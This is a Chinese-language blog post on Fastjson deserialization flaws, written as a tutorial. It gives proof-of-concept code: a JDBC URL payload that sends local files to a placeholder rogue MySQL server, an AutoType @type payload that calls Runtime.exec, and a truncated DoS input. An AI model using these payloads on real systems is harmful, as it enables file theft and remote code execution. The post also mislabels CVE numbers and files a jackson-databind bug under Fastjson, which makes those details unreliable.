首页 前端知识 Fastjson反序列化漏洞

Fastjson反序列化漏洞

2024-08-25 23:08:57 前端知识 前端哥 201 510 我要收藏

文章目录

  • Fastjson反序列化漏洞
  • 一、Fastjson历史漏洞
  • 一、CVE-2019-12086
    • POC
    • 漏洞原理
  • 二、CVE-2017-18368
    • POC
  • 三、CVE-2022-25845
    • POC
    • 漏洞原理
  • 黑盒测试Fastjson反序列化漏洞


Fastjson反序列化漏洞


一、Fastjson历史漏洞

  1. 任意文件读取(CVE-2019-12086):使用了jackson-databind 2.x before 2.9.9的Java应用,如果ClassPath中有com.mysql.cj.jdbc.admin.MiniAdmin(存在于MySQL的JDBC驱动中)这个类,那么Java应用所在的服务器上的文件,就可能被任意读取并传送到恶意的MySQL Server。
  2. DOS攻击漏洞(CVE-2017-18386):在Fastjson 1.2.41之前的版本中,存在一个类型转换漏洞,它允许攻击者执行拒绝服务(DoS)攻击。CVE-2017-18386 的核心问题与 FastJSON 处理深度嵌套的 JSON 数据的方式有关。当 FastJSON 尝试解析具有过度嵌套的 JSON 数据时,可能会进入递归处理循环,从而耗尽栈内存,导致栈溢出。此栈溢出可能会导致 Java 应用程序崩溃或变得无响应,从而有效地导致拒绝服务。
  3. 远程代码执行(RCE)漏洞(CVE-2022-25845):影响版本为 1.2.83 之前的版本。FastJSON 漏洞的核心问题在于 “AutoType” 功能。AutoType 是一种机制,允许 JSON 解析器在反序列化过程中自动识别并实例化 Java 类。该漏洞允许攻击者利用 AutoType 机制实例化 classpath 中的任意类,随后利用这些类执行恶意代码。

一、CVE-2019-12086

POC

使用Rogue-Mysql-Server.py生成恶意mysql文件后,

    ObjectMapper om = new ObjectMapper();
    om.enableDefaultTyping();
 
    String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
    Object obj = om.readValue(poc, Object.class);

漏洞原理

使用恶意MySQL的url作为参数创建一个com.mysql.cj.jdbc.admin.MiniAdmin对象可以通过MySQL的JDBC驱动的com.mysql.cj.jdbc.admin.MiniAdmin类创建一个指定url的JDBC连接。再通过LOAD DATA LOCAL INFILE语句读取任意文件。
在mapper.readValue之后会调用BeanDeserializerBase.deserializeFromString()函数来反序列化内容并调用createFromString()函数创建实例对象,之后在NonRegisteringDriver.class中的connect方法进行连接初始化操作,最后会去解析连接。

二、CVE-2017-18368

POC

使用” \x “致使进入递归
{“a”:"\x

三、CVE-2022-25845

POC

public class Poc extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
-----------------------------------------------------------
public class PocDemo {
    public static void main(String[] args) {
        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"Poc\",\"name\":\"calc\"}";
        JSON.parse(json);
    }

漏洞原理

在用户使用Autotype功能时,一开始通过checkAutoType时参数为(typeClass,expectClass:null,lexer.getFeaturse())//外层接口类为空//会经过Deserializer反序列化器到反序列化ThrowableDeserializer类进入到java.lang.Exception类里面查看异常属性类,在反序列化过程中通过上面的异常判断后会再次触发checkAutoType,再通过黑白名单的判断最后进行反序列化。
只要用户期望类继承自 Throwable 类,Fastjson便会将该类信任,从而造成只要是继承Throwable的任意类都可以被反序列化。

黑盒测试Fastjson反序列化漏洞

  1. 通过构造错误的POST请求体,服务器返回报错中查看是否存在fastjson字样
  2. DOS延迟方式时间判断:(fastjson版本在1.2.60以下)通过构造\x的POST参数造成DOS攻击判断
转载请注明出处或者链接地址:https://www.qianduange.cn//article/16931.html
标签
网络安全
评论
会员中心 联系我 留言建议 回顶部
复制成功!